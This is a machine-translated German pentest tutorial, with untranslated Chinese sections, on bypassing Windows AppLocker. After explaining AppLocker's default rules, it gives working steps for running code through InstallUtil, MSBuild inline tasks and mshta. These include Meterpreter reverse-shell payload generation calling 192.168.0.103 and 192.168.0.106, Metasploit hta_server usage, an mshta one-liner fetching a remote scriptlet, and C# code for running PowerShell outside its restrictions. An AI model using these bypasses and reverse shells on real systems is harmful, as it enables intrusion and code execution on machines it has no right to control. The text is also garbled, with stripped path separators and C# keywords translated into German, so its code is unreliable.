Heim > Artikel > Betrieb und Instandhaltung > So führen Sie eine AppLocker-Bypass-Analyse durch
.appx Bei der Windows-Version wird nach dem Erstellen der Applocker-Regel die entsprechende .applocker-Datei in C:WindowsSystem32AppLocker erstellt.
AppLocker-Regelbedingungen
Regelbedingungen sind Kriterien, die AppLocker dabei helfen, Apps zu identifizieren, für die die Regel gelten soll. Die drei Hauptregelbedingungen sind Herausgeber, Pfad und Datei-Hash.Herausgeber: Identifiziert die App anhand ihrer digitalen Signatur
<br>Pfad: Identifiziert die App anhand ihres Speicherorts im Dateisystem des Computers oder im Netzwerk
<br>Datei-Hash: Stellt das identifizierte Dateisystem dar- berechneter kryptografischer Hash
<br>
Zu den ausführbaren Standardregeltypen gehören:
Erlauben Sie Mitgliedern der lokalen Administratorengruppe, alle Anwendungen auszuführen.
<br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, Apps im Windows-Ordner auszuführen.
<br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, Apps im Ordner „Programme“ auszuführen.
<br>Zu den Standardregeltypen für Skripte gehören:
Erlauben Sie Mitgliedern der lokalen Administratorengruppe, alle Skripts auszuführen.
<br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, Skripts im Ordner „Programme“ auszuführen.
<br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, Skripts im Windows-Ordner auszuführen.
<br>Zu den Standardregeltypen von Windows Installer gehören:
Erlauben Sie Mitgliedern der lokalen Administratorengruppe, alle Windows Installer-Dateien auszuführen.
<br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, alle digital signierten Windows Installer-Dateien auszuführen.
<br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, alle Windows Installer-Dateien im WindowsInstaller-Ordner auszuführen.
<br>DLL Standardregeltyp:
Erlauben Sie Mitgliedern der lokalen Administratorengruppe, alle DLLs auszuführen.
<br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, DLLs im Ordner „Programme“ auszuführen.
<br>Erlauben Sie Mitgliedern der Gruppe „Jeder“, DLLs im Windows-Ordner auszuführen.
<br>Standardregeltyp für verpackte Apps:
Erlauben Sie Mitgliedern der Gruppe „Jeder“, alle signierten verpackten Apps und verpackten App-Installer zu installieren und auszuführen.
<br>AppLocker-Regelverhalten
Zulassen. Sie können festlegen, welche Dateien in Ihrer Umgebung ausgeführt werden dürfen und für welche Benutzer oder Benutzergruppen. Sie können auch Ausnahmen konfigurieren, um Dateien zu identifizieren, die von den Regeln ausgeschlossen sind.
<br>Abgelehnt. Sie können Dateien angeben, die in Ihrer Umgebung nicht ausgeführt werden dürfen, sowie die Benutzer oder Gruppen angeben, für die sie bestimmt sind. Sie können auch Ausnahmen konfigurieren, um Dateien zu identifizieren, die von den Regeln ausgeschlossen sind.
<br>
InstallUtil ist Teil des .NET Framework und ein Befehlszeilenprogramm, mit dem Benutzer Anwendungen schnell über die Eingabeaufforderung installieren und deinstallieren können. Da es sich bei diesem Dienstprogramm um eine von Microsoft signierte Binärdatei handelt, können damit AppLocker-Einschränkungen umgangen und jede ausführbare .NET-Datei ausgeführt werden. Dieses Dienstprogramm befindet sich auch im Windows-Ordner, der keine AppLocker-Richtlinien anwendet, da der Inhalt des Windows-Ordners ausgeführt werden muss, damit das System ordnungsgemäß funktioniert.
Zuerst verwenden wir WhiteListEvasion (https://github.com/khr0x40sh/WhiteListEvasion), um eine Vorlage zu generieren
<br>
<br>
python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443
Der obige Befehl generiert eine C#-Vorlage, die den Metasploit-ShellCode enthält.
Legen Sie die generierte Datei in das Ziel und führen Sie sie mit der folgenden Methode aus:
<br>
<br>
C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe
Natürlich Sie kann auch Sie können zunächst msf verwenden, um eine csharp-Nutzlast zu generieren, dann den Shellcode in der Vorlage ersetzen und dann die cs-Datei auf den Zielcomputer übertragen.
Dann kompilieren Sie unser Skript mit csc:
<br>
<br>
C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:exeshell.exe exeshell.cs
Zu diesem Zeitpunkt versuchen wir, unsere Datei auszuführen:
Von den Regeln abgefangen, dann verwenden wir
<br>
<br>
C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
Bypass
msf ging online. erfolgreich
Es gibt auch ein Bypass-Modul für Applocker mithilfe von InstallUtil.exe in MSF.
<br>
<br>
exploit/windows/local/applocker_bypass
Das Prinzip ist das gleiche
Mit gemeinsamen Pfaden:
C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe<br>
C:WindowsMicrosoft.NETFramework64v2 .0.50727InstallUtil.exe<br>
C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe<br>
C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe<br>
MSBuild.exe ( Microsoft Build Engine) ist die von Visual Studio verwendete Software-Erstellungsplattform. Es benötigt XML-formatierte Projektdateien, die die Anforderungen für die Erstellung verschiedener Plattformen und Konfigurationen definieren. (Zitat: MSDN MSBuild)
Wir können MSBuild verwenden, um die Codeausführung über vertrauenswürdige Windows-Dienstprogramme zu übertragen. Die in .NET Version 4 eingeführte MSBuild-Funktion für Inline-Aufgaben ermöglicht das Einfügen von C#-Code in XML-Projektdateien. Inline-Aufgaben MSBuild kompiliert die Inline-Aufgabe und führt sie aus. MSBuild.exe ist eine signierte Microsoft-Binärdatei. Wenn sie auf diese Weise verwendet wird, kann sie beliebigen Code ausführen und den Anwendungs-Whitelisting-Schutz umgehen, der so konfiguriert ist, dass MSBuild.exe ausgeführt werden kann.
Wir sind direkt hier. Verwenden Sie GreatSCT, um eine XML-Datei zu generieren.
<br>
<br>
./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py
und wird eine RC-Datei für uns generieren, wir können msfconsole -r verwenden Starten Sie msf direkt
und führen Sie es dann mit msbuild aus.
msf online:
Natürlich können Sie auch msf verwenden, um einen C#-Shellcode zu generieren und ihn dann mit der Vorlage von Sanhao Student Master zu laden :
https:// github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml
Beachten Sie, dass der Suffixname in .csproj geändert wurde
Zusätzlich zum Zurückprallen der Shell haben wir kann damit auch die Einschränkungen von Powershell umgehen.
Der Code lautet wie folgt:
<br>
<br>
");
string x = Console.ReadLine();
versuchen
{
Console.WriteLine(RunPSCommand(x));
}
Catch (Ausnahme e)
{
Console.WriteLine(e.Message);
}
}
return true;
} //Basierend auf der Arbeit von Jared Atkinson und Justin Warner
öffentliche statische Zeichenfolge RunPSCommand(string cmd)
{
//Sachen initiieren
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipelinepipeline = runspace.CreatePipeline();
//Befehle hinzufügen
Pipeline.Commands.AddScript(cmd);
//PS für die String-Ausgabe und den Aufruf vorbereiten
Pipeline.Commands.Add("Out-String");
Sammlung<psobject> Ergebnisse = Pipeline.Invoke();
runspace.Close();
//Datensätze in Strings konvertieren
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in Ergebnissen)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
öffentliches statisches void RunPSFile(String-Skript)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(script).Invoke();
}
}
]]> </psobject>
C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe
C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe<br>
C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe<br>
C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe<br>
C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe<br>
C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe<br>
Mshta.exemshta.exe是微软Windows操作系统相关程序, 英文全称Microsoft HTML Application, 可翻译为微软超文本标记语言应用, 用于执行.HTA文件。默认已集成在环境变量中。<br>
使用Mshta的方式有很多,我们这里使用msf的exploit/windows/misc/hta_server模块进行测试:<br>
<br>use Exploit/windows/misc/hta_server msf-Exploit(windows/misc/hta_server) > setze srvhost 192.168.1.109 msf-Exploit(windows/misc/hta_server) > Exploit:
<br>
<br><br>mshta.exe. http://192.168.0.106:8080/JR1gb3TO6.hta
即可上线.
除了这种方法hta还可以使用cobaltstrike 、 Setoolkit 、 Magic Einhorn, Empire, CactusTorch, Koadic, Great e
<br>mshta.exe javascript:a=GetObject("script:https:/ /gist.github.com/someone/something.sct").Exec();close();
<br>rrree
Das obige ist der detaillierte Inhalt vonSo führen Sie eine AppLocker-Bypass-Analyse durch. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!